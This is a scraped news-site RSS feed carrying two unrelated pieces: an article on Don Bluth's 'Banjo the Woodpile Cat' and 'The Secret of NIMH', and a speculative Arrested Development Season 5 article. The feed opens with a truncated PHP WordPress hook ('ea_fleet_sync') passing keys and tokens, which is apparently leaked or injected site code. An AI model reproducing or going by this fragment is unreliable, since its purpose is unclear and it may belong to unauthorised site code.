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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Bluths – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 31 Aug 2022 15:21:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Bluths – Brief News https://briefnews.eu 32 32 Watch Don Bluth’s Short Film That Proved He Could Make The Secret Of NIMH https://briefnews.eu/watch-don-bluths-short-film-that-proved-he-could-make-the-secret-of-nimh/ https://briefnews.eu/watch-don-bluths-short-film-that-proved-he-could-make-the-secret-of-nimh/#respond Wed, 31 Aug 2022 15:21:54 +0000 https://briefnews.eu/watch-don-bluths-short-film-that-proved-he-could-make-the-secret-of-nimh/

From an early age, animator Don Bluth was a great admirer of Disney and has said in interviews that as a child, he would practice drawing by copying old Disney comic books. This childhood activity led to him being hired by Disney to work on their feature film version of “Sleeping Beauty” in the mid-1950s. After a stint doing missionary work and animating for various TV shows, Bluth returned to Disney in the mid-’70s to work on the company’s version of “Robin Hood.” Bluth worked on various animated features for Disney, eventually rising to the role of animation director for the 1977 film “Pete’s Dragon.” Over the course of working for Disney, however, Bluth became kind of disillusioned with the way the company owned all of their animators’ work, and how animators were all trained to draw and animate the same way. Bluth left Disney in 1979 to form his own production company. 

During the final four years of his employ at Disney — during the production of “Pete’s Dragon” and “The Rescuers” — Bluth was, in his spare time, inviting his friend Gary Goldman and various younger animators to back home to his garage studio to work on a short film in secret. Bluth must have been motivated by production on this underground short, as he was eventually emboldened enough to quit in the middle of “The Fox and the Hound,” a film that was delayed because of his walk-out. 

He, Goldman, and his animators completed the short they had been working on, and sold it to various TV networks as an animated Christmastime special. The short was called “Banjo the Woodpile Cat,” and you can watch it below. 

Banjo The Woodpile Cat

“Banjo the Woodpile Cat” is a 26-minute short about an irascible talking kitten named Banjo (Sparky Marcus) who causes mischief to the point of damage. When he nearly kills one of his sisters, Banjo’s father (Ken Sansom) sends Banjo out to fetch a beating switch intended for Banjo’s corporal punishment. Rather than be beaten, Banjo takes to the road and treks into the big city (actually Salt Lake City where Bluth lived) where he runs afoul of the human traffic. He eventually falls in with numerous city cats before locating a truck that will drive him home. When he returns home, all is forgiven. 

Like much of Bluth’s work, “Banjo” appears on its surface to be a lighthearted and delightful romp, but soon skews into darkness and sadness. A lot of Bluth’s films, especially in the early 1980s, emerges as dank, scary, or tragic. Even the Spielberg-produced “An American Tail” from 1986 is mostly about how sad the mouse characters feel in being separated. “Banjo” isn’t so much an adventure as a survival story.

The character animation in “Banjo” is first rate, and it’s certainly a sight better than a lot of Disney fare from the 1970s. If one notices a “shaggy” visual style in 1970s Disney animated fare, it’s because the studio had taken to using an animation technique called xerography, which would allow for the photocopying of animation cels. It was a great way to save money, but also a great way to make a film look cheaper than it was. “Banjo,” as its origin story would belie, looks like it was painstaking hand-animated over the course of four years. The story is detailed on various animation websites, as well as in the Los Angeles Times. 

The Secret Of NIMH

“Banjo,” as it turns out, was the ideal proof-of-concept that Bluth needed to gather the wherewithal to make an animated feature film of his own. For the next few years, Bluth would work on a feature based on Robert C. O’Brien’s 1971 novel “Mrs. Frisby and the Rats of NIMH.” The completed feature, released in 1982, was called “The Secret of NIMH,” it proved to be an intense, shadowy antidote to Disney. This was during a time when Disney’s animation studio was floundering; the ’80s, with bombs like “The Black Hole” and “The Black Cauldron, is certainly Disney’s biggest flop era.

“NIMH” stood counter to that. The film followed an anthropomorphic mouse named Mrs. Brisby (perhaps “Frisby” sounded too much like “frisbee,” the role played by Elizabeth Hartman) as she needed to trek from her cinder block home — at the advice of a terrifying owl — to find medicine for her child, ailing from pneumonia. In her quest, she discovers an enclave of rats who reveal that they, along with Mrs. Brisby’s dead husband, had been genetically enhanced in a local lab. These are not mere anthropomorphic rats in clothes, but enhanced rats who have learned to make use of human technology. Those are some pretty intense notions for a kid flick. 

According to Goldman, speaking with Traditional Animation in 2012, Disney took a look at “Banjo the Woodpile Cat” while he and Bluth were working on it … and they didn’t offer to buy it. Disney passed on “Banjo,” and they passed on Bluth. A rival studio was born, and Bluth made some pretty striking, and amazingly animated feature films throughout the ’80s. 

Disney’s loss was everyone else’s gain.

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Since the Bluths’ lives are prone to all sorts of fast, fanciful disaster (and since Season 4 was, itself, something of a disaster, albeit with occasional flashes of genius), we thought it’d be a fun exercise to speculate on what might have become of the Bluths since that season ended. This is, of course, a completely futile exercise, since nearly anything can happen on this show; as ridiculous as my own guesses might be, Hurwitz will surely top them. That said, we have until 2018 to speculate, so it’s inevitable that fans will be at least mentally engaging in this act of futility as they await answers. So without further ado, here’s what’ll happen to the Bluths… according to Flavorwire, anyway.

Lucille Bluth

If Arrested Development decides to address Trumpism, which is a really hard thing for shows to do well, but also a hard thing for them not to do at all — one of the many artistic dilemmas of living in shitworld! — they might consider the fact that the last season of the series was oddly prescient, in that Lucille and George’s plot surrounded an inflated, then very deflated, plan to build a border wall.

Now that “border wall” has become the fraught, hateful American symbol du jour (well, du year or du whole presidency), as well as a symbol of Trumpian bloviating and ineptitude, this major plotline — which wasn’t exactly concluded — suddenly feels like something a showrunner might want to revisit, or at least reference. The dilemma: if a show doesn’t get the satire just right, then it risks exploiting a serious, poisonous issue for cultural relevance! Shitworld! Dilemmas!

The money/power/booze hungry Lucille Bluth certainly wouldn’t be above profiting from a shamefully wasteful, exorbitantly expensive symbol of xenophobia; she was already trying to do just that for much of the pre-Trump season. But if you recall, the Bluths of course feared, towards the end of the season, that their little wall project would devalue the Mexican land they own, and thus eventually tried to stop it from being built. So could this season, in the midst of wall-oriented fervor, see Lucille Bluth actually becoming part of the resistance movement? (Out of self-interest, of course.) Will the ultra-privileged Lucille take to the streets, martini and picket sign in hand, and use her platform and money for Good… in order to exploit Good for Gain?

George Bluth, Sr. 

George Bluth, Sr. already has a doppelgänger in the character of his crunchy pony-tailed twin, Oscar; the show has delivered many twists and turns with classic twin mixup plot lines. But in the years since the last season of Arrested Development, George/Oscar actor Jeffrey Tambor has become known for a more robust, nuanced, and just as narcissistic character: Transparent‘s Maura. Alas, with yet another televisual Jeffrey Tambor running around out there — very close by, in adjacent L.A. County! — will George Bluth, Sr. catch news of Maura, yet another estranged sibling? Crazier things have happened on this series than a crossover: imagine a gathering of the Pfeffermans and the Bluths, and the nuclear blast of money and egomania that’d catalyze.

Michael Bluth

Some crazy part of me thinks his plot line will involve getting annoyed with his family, and sometimes looking aghast and other times looking defeated. Really out-there prediction, I know.

Buster Bluth

Last we saw, Buster Bluth was arrested for the potential murder of Lucille Austero, his ex-lover, his unwilling surrogate mother figure, and his own mother’s #1 rival. Much of Season 4 revolved around a meta plotline about a movie that Ron Howard (who narrates the series) wants to make about Michael Bluth. After much deliberation from all parties, however, his interest shifts when the murder plot arises, and at the end of Season 4, Howard’s intent is instead to make a movie about Buster’s maybe-crime. Since this show is already on Netflix, the best option for Season 5 would be to focus the whole thing within a true crime documentary format, à la other Netflix series like Making a Murderer or The Keepers — spoofing the form and its odd mixture of entertainment, social potential and ethical conundrums. I’d love to see a sustained season of Arrested Development through this lens.

Lindsay Bluth Fünke

Last we saw, Lindsay was embroiled in an odd political love triangle — sleeping with the Conservative politician Herbert Love, while being whatever random kind of activist she might choose to be from day to day. Her most recent spate of activism was environmental, because she’d been sleeping with an ostrich farm owner/radical environmentalist named Marky Bark, who just so happened to be trying to sabotage Love (w/ glitter!). She emerged from the end of that maze of government, glitter, and gonads as a Republican Congressional candidate.

It’d be quite fitting for Lindsay to go full Breaking Bad/Veep in the next season: she has always been the shallowest of #caring people, but now that shallowness could be directed in the opposite direction, towards legit ill will. This would provide a funny, biting trajectory for her character — she could become another ideologically devoid politician who knows how to use language emptily for personal gain. An inversion of #activist Lindsay as an anti-environmentalist figure overseeing pro-environment organizations, à la Scott Pruitt, would be particularly fitting.

Tobias Fünke 

Last season, Tobias put on Fantastic Four: The Musical. Whatever fate befalls him in the upcoming season, you can assume that he’ll likely be involved in yet another heinous directorial/acting gig. Perhaps, given how little studios seem to care about the quality of their actual superhero movies (like Fantastic Four), Tobias will get a $ 150+ million budget thrown his way by DC to make a really brooding movie about the Red Bee, the superhero in a bee suit who fights Nazis. [I’d watch that — Bee Ed.] Or maybe he’ll get a gig rebooting a comedy series that was better left as it was.

Maeby Fünke 

Now an accidental sex offender, Maeby will be the star of a tangential side episode in the aforementioned Buster-centric true crime documentary that I really want from this season; the episode will use her in an attempt to perform a psychological investigation into the criminal history/minds of the Bluth family, and how that history has been passed down by the particular shortcomings of Bluthian parenting. The episode’s existence will be particularly contentious for Maeby, as the producers of the documentary will be the people who fired her from Imagine Entertainment so many years ago — a career low that led her to her current, erm, situation. In order to escape the stigma surrounding her, she’ll have to fully give into the Featherbottom identity she adopted from her father last season, by pretending to be a man pretending to be a woman based vaguely on Mrs. Doubtfire.

George Michael Bluth

He’ll have to contend with the recent untimely death of his accidental namesake and accept that it’s always been on the cards for him to become a pop star.

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